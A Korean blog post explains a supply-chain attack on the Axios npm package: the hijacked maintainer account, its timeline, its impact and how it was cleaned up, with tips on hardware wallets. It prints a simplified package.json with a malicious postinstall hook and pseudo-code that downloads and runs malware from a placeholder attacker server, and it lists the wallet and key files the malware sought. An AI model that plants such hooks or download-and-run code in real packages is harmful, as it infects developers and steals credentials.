안녕하세요 여러분?

오랜만에 돌아온 포스팅입니다...
ㅎㅅㅎ
중간고사가 끝나니 공부가 손에 잡히질 않더군요
(시험공부를 열심히 한 것도 아닌데 왜?)
예 아무튼
오늘은 금년 3월 31일에 발생한 보안 이슈를 알려드리려고 왔답니다?
비록 2달이 지난 지금이지만요....ㅎㅎ
Axios npm 패키지 공급망 공격
일단 Axios가 뭐길래 ?
Axios란 웹사이트와 서버 사이에 데이터를 연결해주는 매개체입니다!
Axios가 하는 일
1. 서버에 정보 받아오는 HTTP요청을 보냄➡️Axios가 그 요청을 들고 서버로 감!2. 서버에서 데이터를 줄 땐 보통 텍스트로 줌 ➡️하지만 우리가 사용하기엔 불편➡️Axios는 이걸 받자마자 사용하기 편리한 객체의 형태로 전달함 (Json자동변환)
3. Axios는 데이터 가져올 때까지 기다리라고 약속 (Promise 기반) ➡️데이터 올 때까지 다른 일 하다가, 데이터가 도착하면 then이나 await으로 받아서 화면에 뿌림
4. 전달하기 전에 미리 로그인 여부나 데이터에 이상한 게 섞이지 않았는지 미리 검사하는 기능도 있음 !
한 마디로, 자바스크립트로 서버와 통신할 때 편하고 안전하게 데이터를 주고 받을 수 있도록 돕는 도구!

사건의 전반적인 이해를 돕기 위해 뉴스부터 보실까요?!
https://www.youtube.com/watch?v=COy4eTg-42Y
범인으로 지목당한 것은 다름아닌 북한...
북한 ... 정말 의외지만 해킹강국입니다...
북한의 유명한 라자루스라는 해킹그룹도 있고요
사파이어 슬릿이라는 그룹도 있답니다 (이건 나중에 한번 다뤄보겠습니다)
흠 영어 지독히도 싫어하면서 왜 팀명은 간지나는 영어로 지었냐
북한의 해커들은 취약점만 찾는 것이 아니라 타겟에게 사회공학적 기법을 사용해서 해킹하는 것으로도 유명합니다
이번 사건 또한 라자루스 혹은 사파이어 슬릿의 소행으로 추정되는데요 !
관리자의 이메일 주소를 자기네들이 제어하는 주소로 바꿔치기하면서 본격적인 작업에 들어갔답니다
axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity
Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analys
www.stepsecurity.io
공격 타임라인
출처 : Step Security

공격자는 axios 패키지 안에 직접 악성 코드를 넣은 것이 아니라
패키지의 설정 파일인 package.json을 이용해서 공격한 것!
Step 1. 공격 파일 설치
{
"dependencies": {
"plain-crypto-js": "^0.1.7" // <--- 이게 바로 악성 패키지!
},
"scripts": {
"postinstall": "node setup.js" // <--- 설치 끝나면 바로 실행
}
}
Step 2. OS 공격
자동 실행된 setup.js가 컴퓨터의 OS를 파악하고, 각 OS에 맞는 멀웨어 다운
// 공격 코드의 로직
const os = require('os');
const platform = os.platform(); // 'win32', 'darwin(mac)', 'linux' 중 하나
if (platform === 'win32') {
downloadAndRun('http://공격자서버/win_malware.exe');
} else if (platform === 'darwin') {
downloadAndRun('http://공격자서버/mac_malware');
}
Step 3. 증거 인멸
공격이 성공하면, 자기 자신을 삭제하거나 정상적인 파일로 위장하여 이름 바꿈 !!
피해 규모
악성 코드가 포함된 버전이 노출된 3시간동안 무려 전 세계적으로 약 50만 건 이상의 다운로드가 발생한 것으로 추정된다고 합니다!...ㄷㄷ
이런 공격을 통해 공격자들이 얻을 수 있는 것들이 실질적으로 뭔지 궁금하시죠?
정리해드리자면,
1. 가상화폐 혹은 금융정보⭐⭐⭐
이번 공격은 가상화폐 및 금융정보 탈취가 가장 큰 목적이라고 추정된다고 하는데요,
악성 코드가 실행되면 특정 키워드가 들어간 파일을 우선순위로 찾아냅니다.
예를 들면, key.pem 이나 seed.txt, wallet.json같은 파일들이요 !
브라우저가 데이터를 저장하는 내부 폴더 속에 암호화로 저장된 지갑 데이터를 통째로 복사해 가는거죠 !
2. 서버 통제권
3. 기밀 정보 및 지식 재산
4. 다음 공격을 위한 이전 단계가 될 수 있음...ㄷㄷ
머 이 정도입니다...
무시무시하죠??
해결방안
정말 다행히, 사건이 터진지 몇 분만에 해결되었답니다...
요~ 보안전문가 만세~
Socket Security같은 보안 자동화 도구들이 악성 코드가 업로드 된 지 6분 만에 감지하였고,
보고를 받은 npm운영팀이 해당 악성 코드가 포함된 버전을 npm저장소에서 삭제하였답니다!
이후 메인 관리자 계정을 회수하고, 이메일 주소 등을 다시 정상화 시켰다구 해요...
이 사건 이후로 거대한 패키지 관리자들에게는 2단계 인증이 선택이 아닌 필수 사항으로 적용되었고, axios가 의존하고 있던 다른 패키지들도 싹 뒤져서 문제가 없는지 파악했답니다 !!
또한 npm저장소에서 삭제되었다고 해서 로컬의 사용자 컴퓨터/서버까지 오염된 여부를 파악하긴 힘들기에
관리자들에게 다음 조치를 취할 것을 권고했어요 !
1. 컴퓨터 저장된 오염된 캐시 삭제
2. package-lock.json 수정 : 악성 버전 번호가 기록된 잠금 파일을 수정하고 정상 버전으로 고정
3. 서버 검사 : 이미 실행된 서버는 밀어버리거나, 악성프로세스 떠 있는지 확인 !
알아보며 느낀 점
요새 가상화폐 혹은 금융거래시장이 점차 커지고있는만큼,
해킹을 통해서 털릴 수 있는 가장 취약한 정보 또한 가상화폐 및 금융거래 정보가 되었잖아요?
그렇다면 ...
해당 거래를 할 때마다 사용할 물리적인 디스크를 만드는 것이 어떨까라는 생각을 해봤답니다?
마치 공인인증서를 주로 USB에 담아두는 것 처럼요 ..!
물리적인 행동까진 해킹할 수 없을테니까여.
➡️라고 생각했는데 이미 그런 게 있다고 하네요?
역시나 ... 나만 이런 생각을 하는 게 아니었다. (당연하지 세상엔 나보다 월등히 똑똑한사람들이 얼마나많은데)
그럼 뭐가 있는지 간략하게만 알아볼까요?
1. 하드웨어 월렛
Ledger - certified secure crypto Hardware Wallets | Ledger
Ledger builds the world's leading certified secure crypto asset hardware wallets. Optimal protection for your BTC, ETH, XRP and more - in your full control.
shop.ledger.com
개인 키를 내부의 칩에 가둬두는 형식!
돈을 보낼 때 물리적 버튼을 눌러야만 승인이 허가된답니다?
대표적인 제품으로는 링크를 첨부한 레저사의 제품이 있구요, 이외에는 트레저사의 제품도 있다네요?
2. 에어 갭
https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W
Keystone Wallet | Secure Open Source Crypto Solution
1m drop, scratch & wear resistant. full Keystone protection.
keyst.one
아예 컴퓨터와 선 조차도 연결하지 않는 방식이라구 해요.
QR혹은 마이크로SD카드로만 데이터를 주고받습니다 !
대표적인 제품으로는 keystoen사, SafePal사의 제품이 있구요
3. Yubikey
코인 지갑은 아니지만, 물리적 보안 인증의 좋은 사례라고 해요!
해커가 비밀번호를 알아낸다한들, 이 물리적 열쇠로 로그인을 할 수 있기 때문에 보안에 효과적입니다

실제로 쿠팡에서도 팔고있네요? ㅎㅎ
근데왜 19금이냐 이건
예 뭐 여하튼 그렇습니다.
자 오늘의 이슈 분석은 여기까지 하겠구요?
여러분들도 앞으로 주기적인 보안 감사를 하시면서~??
슬기로운 유저가 되시길 바랍니다 . . .
그럼 안녕
